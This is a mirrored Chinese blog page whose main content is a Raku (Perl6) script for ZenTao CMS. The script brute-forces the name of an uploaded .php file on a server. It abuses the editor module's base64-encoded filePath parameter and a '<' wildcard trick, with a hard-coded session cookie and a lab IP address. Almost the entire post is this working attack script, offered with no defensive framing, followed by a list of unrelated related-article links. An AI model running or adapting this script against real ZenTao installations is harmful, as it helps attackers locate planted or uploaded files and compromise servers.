zoukankan      html  css  js  c++  java
  • 禅道CMS 获文件名脚本

    use Net::HTTP::GET;
    use Base64;
    
    my %header   = :Cookie<lang=zh-cn; theme=default; lastProduct=2; windowWidth=1855; windowHeight=532; sid=jg9g2mk5kmru46lmd3g2evoc87>;
    #my $response = Net::HTTP::GET("http://172.16.57.128/zentaopms/www/index.php?m=editor&f=edit&filePath=YzpccGhwc3R1ZHlcV1dXXHplbnRhb3Btc1x3d3dcZGF0YVx1cGxvYWRcMVwyMDE4MDFcMDwucG5n&action=override&isExtends=", :%header);
    #say so $response.content :force ~~ /201801/;
    my $url = 'http://172.16.57.128/zentaopms/www/index.php?m=editor&f=edit&filePath=';
    my $end_url = '&action=override&isExtends=';
    
    
    my @check_chars = |('a'..'z'),|('0'..'9');
    #保存文 件名 16位
    my @filename;
    
    for 1..16 -> $length {
      say "------->$length";
    
          for @check_chars -> $swap_char {
                  my $target;
                  my $char = @filename.join('')~$swap_char;
                  say $char;
                  #sleep(2);
                  if $char.chars == 16 {
                    $target = $url~encode-base64('c:phpstudyWWWzentaopmswwwdataupload1201801\'~$char~'.php',:str)~$end_url;
                  } else {
                    $target = $url~encode-base64('c:phpstudyWWWzentaopmswwwdataupload1201801\'~$char~'<.php',:str)~$end_url;
                    #>
                    #>>>>>>>>>
                    # a+('>' x 15).php => a>>>>>>>>>>>>>>>.cellspacing
                    #a*.png => 
                  }
                  #sleep(1);
                  say $target;
                  #sleep(2);
                  my $html = Net::HTTP::GET($target, :%header);
    
                  if so $html.content :force ~~ /201801/ {
                      @filename.append($swap_char);
                      last;
                  }
    
          }
    }
    say "Found -----> "~@filename.join('');
  • 相关阅读:
    让keep-alive不缓存
    vue tab echart始终显示100px解决办法
    加载图片失败显示默认图片
    element 文件上传传参数
    vue-cli axios 拦截器设置
    制作字体图标制作
    20道Java面试必考题
    Integer源码解析
    阿里P9架构师讲解从单机至亿级流量大型网站系统架构的演进过程
    代理详解
  • 原文地址:https://www.cnblogs.com/perl6/p/8207492.html
Copyright © 2011-2022 走看看